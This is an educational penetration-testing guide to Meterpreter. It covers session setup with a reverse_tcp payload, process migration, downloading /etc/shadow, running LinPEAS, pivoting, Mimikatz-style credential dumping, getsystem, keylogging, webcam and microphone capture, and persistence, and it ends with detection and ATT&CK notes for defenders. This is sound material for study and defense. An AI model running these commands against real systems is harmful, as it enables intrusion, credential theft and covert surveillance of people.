

Meterpreter

Your Metasploit Framework guide introduced Meterpreter briefly as "the payload that sets Metasploit apart" — this is the deep dive. Where a bare Netcat reverse shell (your Netcat guide) gives you a single command-execution channel, Meterpreter is a full **post-exploitation platform** that runs entirely in memory, communicates over an encrypted channel, and extends itself dynamically through loadable modules — genuinely one of the most capability-dense tools in the entire offensive toolkit you've built across this series.

1. What Makes Meterpreter Fundamentally Different From a Normal Shell

```
Bare reverse shell (nc -e /bin/bash) → spawns an actual shell process on disk, communicates in PLAINTEXT, one command in/one response out, no built-in file transfer, pivoting, or memory-only execution
```

```
Meterpreter → runs ENTIRELY IN MEMORY (never written to disk as a separate process), uses an ENCRYPTED communication channel, and extends its own capability at runtime by loading additional functionality on demand
```

Why "in-memory" matters so much: a traditional payload that writes an executable to disk creates a forensic artifact and a signature-scannable file — exactly the kind of thing AV/EDR products are built to catch. Meterpreter's DLL is injected directly into a running process's memory space, never touching disk as its own file, which is precisely why it's harder to detect via traditional file-scanning defenses (though modern EDR increasingly does memory-based detection specifically because of tools like this).

2. The Stager/Stage Architecture — Why This Design Exists

Your Metasploit Framework guide introduced this distinction briefly — worth expanding here since it's specifically *why* Meterpreter works the way it does:

```
Stager → small, minimal first-stage payload delivered by the initial exploit – its ONLY job is establishing a connection back and then downloading the much larger full payload
```

Stage → the actual Meterpreter DLL, downloaded and loaded INTO MEMORY by the stager, never written to disk

This two-step design exists because many exploits have **strict size constraints** on the initial payload (a buffer overflow might only have room for a few hundred bytes of shellcode) — the tiny stager fits within that constraint, then pulls down the full-featured Meterpreter payload over the already-established connection, sidestepping the size limitation entirely.

3. Establishing a Meterpreter Session

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(...) > set payload cmd/unix/interact # this
payload => cmd/unix/interact
# For an exploit that DOES support Meterpreter:
msf6 exploit(...) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(...) > set LHOST 192.168.1.5
LHOST => 192.168.1.5
msf6 exploit(...) > set LPORT 4444
LPORT => 4444
msf6 exploit(...) > run

meterpreter >
```

Important, easy-to-miss detail: not every exploit module supports every payload — check `show payloads` after selecting an exploit to confirm Meterpreter variants are actually available for that specific target/platform combination before assuming you'll get one.

4. Core Situational Awareness Commands

The first few commands you should run in almost any fresh session — directly parallel to the recon commands table from your Command Injection guide, just via Meterpreter's own built-in equivalents:

```
sysinfo      → OS, architecture, hostname, current domain/workgroup
getuid       → current user context (Meterpreter's equivalent of `whoami`)
getpid       → current process ID Meterpreter is running inside
ps           → list all running processes on the target (find higher-privileged o
r more stable processes worth migrating into)
```

```
meterpreter > sysinfo
Computer      : DC01
OS            : Windows Server 2019 (10.0 Build 17763)
Architecture : x64
System Language : en_US
Domain        : CORP
Logged On Users : 3
Meterpreter   : x64/windows
```

This single command immediately tells you the OS/patch context, which directly informs which privilege escalation techniques (from your File Permissions and Windows Services guides) or which `local_exploit_suggester` results (your Metasploit Framework guide) are even worth pursuing.

5. `migrate` — Moving Into a More Stable/Privileged Process

```
meterpreter > ps
meterpreter > migrate 4028
```

Why this is one of the most important habits to build early in any session: the process Meterpreter initially lands in is often the one you exploited (a specific vulnerable service) — if that process crashes, gets restarted, or is manually killed by an alert admin, **your session dies with it**. Migrating into a stable, long-running, unrelated process (like `explorer.exe` on Windows, or a long-lived system daemon on Linux) protects your session from that specific process's lifecycle.

Migrating for privilege reasons too: if you land in a low-privileged process but see a SYSTEM-owned process running (via `ps`), migrating into it can sometimes inherit that process's privilege level directly — a shortcut that occasionally sidesteps the need for a separate `getsystem` /local exploit step entirely, when conditions allow it.

```
meterpreter > ps
  PID  PPID  Name           Arch  User
  ----  ----  -
  892   644   svchost.exe    x64   NT AUTHORITY\SYSTEM
  4028  644   vulnerable.exe x64   CORP\lowpriv_user

meterpreter > migrate 892
[*] Migrating from 4028 to 892...
[*] Migration completed successfully.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

6. File System Interaction

```
pwd / getwd          → current working directory on the TARGET
cd / lcd             → change directory (target / local – the "l" prefix consistently means "local" throughout Meterpreter's command set)
ls                   → list directory contents
cat <file>           → read a file's contents directly
download <remote> <local> → pull a file FROM the target
upload <local> <remote>  → push a file TO the target
edit <file>          → edit a remote file using a local text editor
search -f "*.kdbx"    → recursively search for files matching a pattern (password manager databases, config files, private keys – anything worth hunting for)
```

```
meterpreter > download /etc/shadow /home/kali/loot/shadow.txt
meterpreter > upload ./linpeas.sh /tmp/linpeas.sh
meterpreter > shell
$ chmod +x /tmp/linpeas.sh && /tmp/linpeas.sh
```

This upload-then-execute pattern is exactly how you'd deliver the LinPEAS/WinPEAS automated privesc-checking tools referenced across your File Permissions and Windows Services guides directly through an active Meterpreter session, instead of needing a separate file-transfer mechanism like your Netcat guide's manual `nc` transfer technique.

7. Dropping to a Native Shell and Back

```
meterpreter > shell
Process 5044 created.
C:\Windows\system32>whoami
```

`shell` drops you into a genuine native OS command prompt/bash shell running through the Meterpreter tunnel — useful for running native commands. Meterpreter doesn't have a dedicated wrapper for. Type `exit` to return to the `meterpreter >` prompt, and the session itself remains intact throughout.

8. Networking and Pivoting Commands

```
ipconfig / ifconfig      → network interface info on the target, including internal-only network ranges the target might have access to that YOU can't reach directly
route                   → view/modify the target's routing table as seen through Meterpreter
portfwd add -l 3389 -p 3389 -r 10.10.20.5
                        → forward a LOCAL port on your attacking machine THROUGH the compromised host to an internal target, letting you use a normal RDP client against an otherwise-unreachable internal machine
run autoroute -s 10.10.20.0/24
                        → add a route through this session for ALL of Metasploit's other modules to use automatically, not just a single forwarded port
```

This directly extends your Nmap guide's scanning capability and your Common Ports guide's service-targeting knowledge into network segments that were completely invisible to you before compromising this first host — exactly the Lateral Movement tactic from your ATT&CK guide, made concrete and interactive.

9. Credential Harvesting — Kiwi (Mimikatz) Integration

```
meterpreter > load kiwi
meterpreter > creds_all → dump all available credential types at once
meterpreter > lsa_dump_sam → dump the local SAM database
meterpreter > lsa_dump_secrets → dump LSA secrets (service account passwords, cached
```

```
domain credentials)
meterpreter > kerberos_ticket_list → list Kerberos tickets currently in memory
```

This `kiwi` extension is literally Mimikatz's functionality built directly into Meterpreter — the exact same LSASS memory credential extraction technique referenced in your MITRE ATT&CK guide's Credential Access section and your File Permissions guide's SUID/privilege discussion, just accessed through Meterpreter's command set instead of running Mimikatz as a separate standalone binary (which would be a file on disk, and thus more detectable — another example of Meterpreter's in-memory design philosophy paying off practically).

On Linux targets, the Meterpreter equivalent is more limited, typically relying on `hashdump`-style modules or manually reading credential files (`/etc/shadow` , application config files) via the file-system commands from Section 6, since Linux doesn't have an LSASS-equivalent centralized credential store.

10. Privilege Escalation Commands

```
getsystem → Windows-specific, automatically attempts several known token-impersonati
on and named-pipe techniques to jump straight to SYSTEM
getprivs → list the current session's Windows privileges (directly maps to `whoami/
priv` from your Windows File Permissions guide – SeDebugPrivilege, SeImpersonatePrivil
ege, etc. are exactly what getsystem tries to leverage)
run post/multi/recon/local_exploit_suggester → covered in depth in your Metasploit F
ramework guide – automated kernel/OS exploit matching based on fingerprinted version i
nfo
```

```
meterpreter > getprivs
...
SeDebugPrivilege
SeImpersonatePrivilege
...
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

Seeing `SeImpersonatePrivilege` in the `getprivs` output is exactly the signal that a Potato-family exploit (mentioned in your Windows File Permissions guide) — which `getsystem` automates behind the scenes — has a real chance of succeeding.

11. Screen Capture, Webcam, and Keylogging — Situational Awareness Extensions

```
screenshot          → capture the target's current screen
webcam_list          → list available webcams
webcam_snap          → capture a still image
keyscan_start        → begin logging keystrokes
keyscan_dump         → retrieve captured keystrokes so far
keyscan_stop         → stop logging
record_mic           → capture audio via the system's microphone
```

These are genuinely powerful and genuinely sensitive capabilities — worth flagging explicitly that these should only ever be used within a clearly authorized engagement's defined scope, and that capturing this kind of data (screenshots, keystrokes, audio) carries real privacy and legal weight even in an authorized test — document usage carefully in any report, and confirm rules of engagement explicitly cover this category of activity before using it.

12. Persistence

```
run post/windows/manage/persistence_exe
```

Establishes a mechanism for regaining access even if the current session drops — directly overlapping with your Windows Services and Cron Jobs guides' persistence concepts (a service, scheduled task, or registry run key), just automated through a Metasploit module instead of manually configured. Worth remembering this is also exactly the kind of activity your Windows Services guide's **Event ID 4697** detection point is built to catch — persistence modules are noisy from a defender's perspective almost by definition.

13. Backgrounding and Managing Multiple Sessions

```
meterpreter > background
msf6 > sessions -l          → list all active sessions
msf6 > sessions -i 2        → interact with session #2
msf6 > sessions -k 2        → kill a specific session
```

Backgrounding lets you return to `msfconsole` without losing your Meterpreter session — genuinely essential once you're managing multiple compromised hosts in a single engagement, letting you set up a new exploit against a second target while the first session stays alive in the background.

14. Meterpreter's Extension System — Why It's Extensible at Runtime

```
load kiwi          → loads Mimikatz-equivalent credential functionality
load espia         → screen/webcam capture extensions
load sniffer       → packet capture directly through the session,
                    conceptually similar to your tcpdump guide's
                    capture capability, but run FROM the
                    compromised host's network vantage point
                    instead of your own
```

This `load` mechanism is exactly why Meterpreter stays lightweight by default but can grow arbitrarily capable on demand — rather than shipping every possible feature in the initial payload (which would bloat the stage and increase detection surface), extensions are pulled in only when actually needed for a specific session's objectives.

15. Practical Full Session Example — Metasploitable 2

Tying the full command set together against the same lab environment referenced throughout your Metasploit Framework guide:

```
meterpreter > sysinfo
meterpreter > getuid
meterpreter > ps
meterpreter > migrate <a more stable PID>
meterpreter > run post/multi/recon/local_exploit_suggester
meterpreter > shell
$ find / -perm -4000 -type f 2>/dev/null    # confirms the SAME finding
                                           your File Permissions
                                           guide taught you to find
                                           manually

exit
meterpreter > search -f "*.txt"
meterpreter > download /home/msfadmin/interesting.txt ./loot/
meterpreter > background
```


16. Detection/Defensive Angle (SOC Relevance)

- Meterpreter's default TCP communication has well-documented signatures many IDS/IPS products detect without further evasion applied to the payload
- migrate activity generates process-injection-pattern telemetry that modern EDR products specifically watch for
- getsystem's token-impersonation techniques trigger detectable Windows security events on a properly logged/monitored system
- kiwi/Mimikatz-style LSASS access is exactly the Sysmon Event ID 10 (ProcessAccess) detection point called out in your MITRE ATT&CK guide's credential-dumping example
- persistence modules trigger Event ID 4697, per your Windows Services guide
- The in-memory, no-disk-artifact design specifically defeats FILE-based AV scanning, but does NOT defeat memory-scanning EDR or network-traffic-based detection – worth being precise about which specific defensive layer Meterpreter's design choices actually evade, rather than treating "in-memory" as a blanket detection-evasion guarantee

Kill Chain / ATT&CK Mapping

Meterpreter Activity	Kill Chain Stage	MITRE ATT&CK
Initial session establishment	Installation	T1059, T1055 (Process Injection)
<code>migrate</code>	Defense Evasion, Persistence support	T1055
<code>getsystem</code> / <code>local_exploit_suggester</code>	Privilege Escalation	T1068, T1134
<code>kiwi</code> / credential commands	Credential Access	T1003.001 (LSASS Memory)
<code>download</code> / <code>search</code> / <code>upload</code>	Collection	T1005, T1074
<code>portfwd</code> / <code>autoroute</code>	Lateral Movement	T1090, T1021
<code>persistence_exe</code> module	Persistence	T1543, T1053
<code>screenshot</code> / <code>keyscan_*</code> / <code>record_mic</code>	Collection	T1113 (Screen Capture), T1056 (Input Capture)

Quick Reference Cheat Sheet

Situational awareness:

sysinfo / getuid / getpid / ps / getprivs

Stability & privilege:

migrate <PID>

getsystem

run post/multi/recon/local_exploit_suggester

File system:

pwd / ls / cd / lcd / cat / download / upload / edit / search -f "*.ext"

Shell access:

shell (drop to native shell) / exit (return to meterpreter)

Credentials:

load kiwi

creds_all / lsa_dump_sam / lsa_dump_secrets / kerberos_ticket_list

Networking / pivoting:

ipconfig / route

portfwd add -l <local_port> -p <remote_port> -r <internal_target>

run autoroute -s <subnet>/24

Situational capture (use only within clear authorization):

screenshot / webcam_snap / keyscan_start / keyscan_dump / keyscan_stop

Session management (from msfconsole):

background

sessions -l / sessions -i <id> / sessions -k <id>